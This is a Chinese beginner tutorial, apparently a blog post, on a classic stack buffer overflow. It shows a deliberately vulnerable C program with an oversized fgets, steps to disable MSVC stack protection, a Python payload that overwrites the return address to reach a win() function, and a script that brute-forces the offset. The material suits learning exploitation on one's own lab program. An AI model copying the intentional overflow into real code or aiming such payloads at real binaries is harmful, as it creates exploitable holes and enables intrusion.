当前位置: 首页 > news >正文

pwn笔记-0001第一个栈溢出控制返回值

目录
  • 栈溢出控制返回值
    • 什么是栈溢出漏洞?
    • 例子程序

栈溢出控制返回值

什么是栈溢出漏洞?

  1. 在栈上开一个数组buf[64]
   void func() {char buf[64];fgets(buf, sizeof(buf) + 100, stdin); // 读取比 buf 大得多的数据,人为制造溢出}
  1. 就是scanf、gets()、fgets()函数接收了超过buf[64]的字符串,导致返回值地址被覆盖掉了
  2. 返回值地址一般是:ebp+4

例子程序

我编写了一个pwn的helloworld程序,用来演示

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>// 目标函数:溢出后希望执行的代码
void win() {printf("[+] Pwned!\n"); fflush(stdout);// 可以在这里执行任意操作,例如弹出计算器// 执行到这里就算赢了
}// 漏洞函数:使用不安全的 scanf
void vulnerable() {char buf[64];                       // 局部缓冲区printf("[*] Address of win: 0x%p\n", win);printf("[*] Buffer address: 0x%p\n", buf);printf("[>] Enter your payload: ");fflush(stdout);// scanf("%s", buf);                    // 无长度限制 → 栈溢出:如果win函数的地址有0的话无法利用// 替换原来的 scanf("%s", buf);fgets(buf, sizeof(buf) + 100, stdin); // 读取比 buf 大得多的数据,人为制造溢出printf("[+] You entered: %s\n", buf);
}int main() {vulnerable();return 0;
}

msvc编译器默认开启了栈保护ASLR,导致我们无法溢出成功,入门一般先关闭编译器的栈保护
对于这个程序,我们还需要关闭编译器的栈保护GS,这样生成的.exe才能溢出成功

关闭方法: 右键项目->属性(alt+enter)->c++->代码生成->安全检查->选择禁用安全检查-》应用

这样编译出来的main.exe就没有栈保护ASLR 了(查看详细的编译输出日志,确实少了GS参数)

payload
python -c "import sys; sys.stdout.buffer.write(b'A'*68 + b'\x40\x10\x8e\x00' + b'\n')" | ctf_demo0001.exe

我们执行了上面的payload就可以看到成功调用了win函数,输出了pwn

注意点:
1.机器是小端机,所以地址倒过来排列的
2. 要关闭编译器的栈保护后,再编译生成ctr_demo0001.exe
3. 这里的python -c "import sys; sys.stdout.buffer.write(b'A'*68 + b'\x40\x10\x8e\x00' + b'\n')" | ctf_demo0001.exe
这里的68初学者如果不成功可以用一个脚本遍历一下看看是多少

import subprocesswin_addr = b'\x40\x10\xe1\x00' # 别忘了修改为win的地址,每台电脑可能不一样
for offset in range(60, 201, 4):payload = b'A' * offset + win_addr + b'\n'p = subprocess.Popen(['ctf_demo0001.exe'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)out, err = p.communicate(payload)print(f'尝试 {offset}')print(f'输出 {out}')if b'Pwned!' in out:print(f'成功!偏移 = {offset}')break
else:print('未找到偏移')
http://www.jsqmd.com/news/402678/

相关文章:

  • 基于STM32的毕业设计2025:效率提升实战指南与架构优化
  • 分布式系统中的时钟偏差(Clock Skew)与延迟(Latency):实战解决方案与优化策略
  • ChatTTS在线体验:从零搭建语音合成服务的实战指南
  • 故城故人旧故事 敌不过这一身无用固执
  • ChatGPT发展历程图解析:从GPT-1到GPT-4的技术演进与实战应用
  • 计算机科学与技术毕业设计:从选题到落地的系统性技术指南
  • 新手也能上手 10个降AIGC平台深度测评与推荐——继续教育必备工具清单
  • 携程任我行卡用不上?可可收一键处理,再也不亏! - 可可收
  • CosyVoice Emotion 入门指南:从零构建情感分析语音应用
  • Simulink锂离子电池SOC主动均衡控制仿真模型 硕士论文复现 锂离子电池组SOC均衡,多...
  • 研究生收藏!顶流之选的AI论文软件 —— 千笔
  • 2026年的17个LLM应用场景
  • simufact Welding 多层多道激光熔覆热力耦合
  • Linux内核任务调度时机总结
  • 农产品销售系统毕设:从零构建高可用电商后端的技术选型与实现
  • 定稿前必看!顶流之选的降AI率平台 —— 千笔·专业降AIGC智能体
  • 2026年广州沛纳海手表维修推荐:多场景服务评价,针对网点覆盖与配件痛点 - 十大品牌推荐
  • [AI提效-3]-提示词工程 - 常见的提示词框架对比:他们的特点、优点、缺点、框架内容、使用场景以及示例 - 豆包版
  • Dify智能客服实战:从零搭建高可用对话系统的保姆级教程
  • [AI提效-4]-提示词工程 - 常见的提示词框架对比:他们的特点、优点、缺点、框架内容、使用场景以及示例-千问版
  • 2026最新!全网爆红的AI论文网站 —— 千笔写作工具
  • Java ATM机自动取款机毕业设计:从单机模拟到高并发实战架构
  • 小白也行的机器学习预测股票
  • Java银行智能客服系统入门指南:从架构设计到核心代码实现
  • 学霸同款!专科生专属AI论文平台 —— 千笔·专业学术智能体
  • AI辅助开发实战:使用Cherry Studio高效部署火山引擎应用
  • Claude-Code-Router在火山方舟上的高效配置实践:从架构设计到性能优化
  • ChatGPT充值方法实战指南:从API密钥到支付集成的完整解决方案
  • WebRTC开发实战:解决CMake警告‘srtp未找到‘的完整指南
  • CLGRU语音模型入门指南:从零搭建到实战避坑